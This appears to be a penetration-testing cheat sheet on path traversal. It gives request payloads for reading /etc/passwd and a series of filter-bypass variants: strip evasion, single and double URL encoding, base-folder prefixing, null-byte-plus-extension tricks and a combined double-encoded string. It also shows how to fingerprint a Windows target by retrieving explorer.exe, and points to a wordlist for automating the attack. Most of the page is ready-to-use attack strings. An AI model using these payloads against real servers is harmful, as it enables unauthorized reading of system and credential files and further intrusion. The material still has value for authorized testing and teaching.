Star

Path traversal

General info

Consider

<img src="/loadImage?filename=218.png">

An attacker can request the following URL to retrieve the /etc/passwd file from the server’s filesystem.

https://insecure-website.com/loadImage?filename=../../../etc/passwd


Bypass defenses

  • Elimination (strip): ../ -> ....//
    • Test: try to change the original request GET /image?filename=1.jpg to GET /image?filename=../1.jpg
    • If the file is loaded the code strip ../
  • Encode: ../ -> %2e%2e%2f
  • Double-encode: ../ -> %252e%252e%252f
  • Require to start with the expected base folder es. /var/www/images -> filename=/var/www/images/../../../etc/passwd
  • Require to end with an expected file extension es. .png -> filename=../../../etc/passwd%00.png
  • Others
Note: On Windows, both ../ and ..\ are valid directory traversal sequences.

Tips

  • Don’t always trust error messages
    • GET /image?filename=/etc/passwd -> “No such file”
      • Try to add null byte: GET /image?filename=/etc/passwd%00
      • Try to add null byte and extension: GET /image?filename=/etc/passwd%00.png
  • Combine the cases:
    • Example: ....//....//....//etc/passwd%00.jpg (strip, double-encode, null byte, whitelist extension)
    • %252E%252E%252E%252E%252F%252F%252E%252E%252E%252E%252F%252F%252E%252E%252E%252E%252F%252Fetc%252Fpasswd%252500%252Ejpg

Common files

Linux:

Windows:

Tip: On Windows, you can also try using a different drive letter than C:.

Identify Windows version

  1. Retrieve a Microsoft executable from the target system:
  • C:/Windows/explorer.exe
  • C:/Windows/notepad.exe
  • C:/Windows/system32/ntoskrnl.exe
  1. Check version information:
exiftool explorer.exe

[...]
OS Version                      : 10.0
Image Version                   : 10.0
Subsystem Version               : 10.0
Subsystem                       : Windows GUI
File Version Number             : 10.0.14393.7513
Product Version Number          : 10.0.14393.7513
File Flags Mask                 : 0x003f
File Flags                      : (none)
File OS                         : Windows NT 32-bit
Object File Type                : Executable application
File Subtype                    : 0
Language Code                   : English (U.S.)
Character Set                   : Unicode
Company Name                    : Microsoft Corporation
File Description                : Windows Explorer
File Version                    : 10.0.14393.7513 (rs1_release.241021-1750)
Internal Name                   : explorer
Legal Copyright                 : © Microsoft Corporation. All rights reserved.
Original File Name              : EXPLORER.EXE
Product Name                    : Microsoft® Windows® Operating System
Product Version                 : 10.0.14393.7513
[...]
  1. Compare the version number with the following official table: https://learn.microsoft.com/en-us/windows/win32/sysinfo/operating-system-version.
Tip: Some operating systems may share the same version name (e.g., Windows 10 and Windows 11), which can make identification tricky. To accurately determine the OS version, check the build number (e.g., 14393) and refer to this resource: https://www.gaijin.at/en/infos/windows-version-numbers. Alternatively, you can search the product version on Google for more information.

Automation

Use intruder with this list: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Directory%20Traversal/Intruder/deep_traversal.txt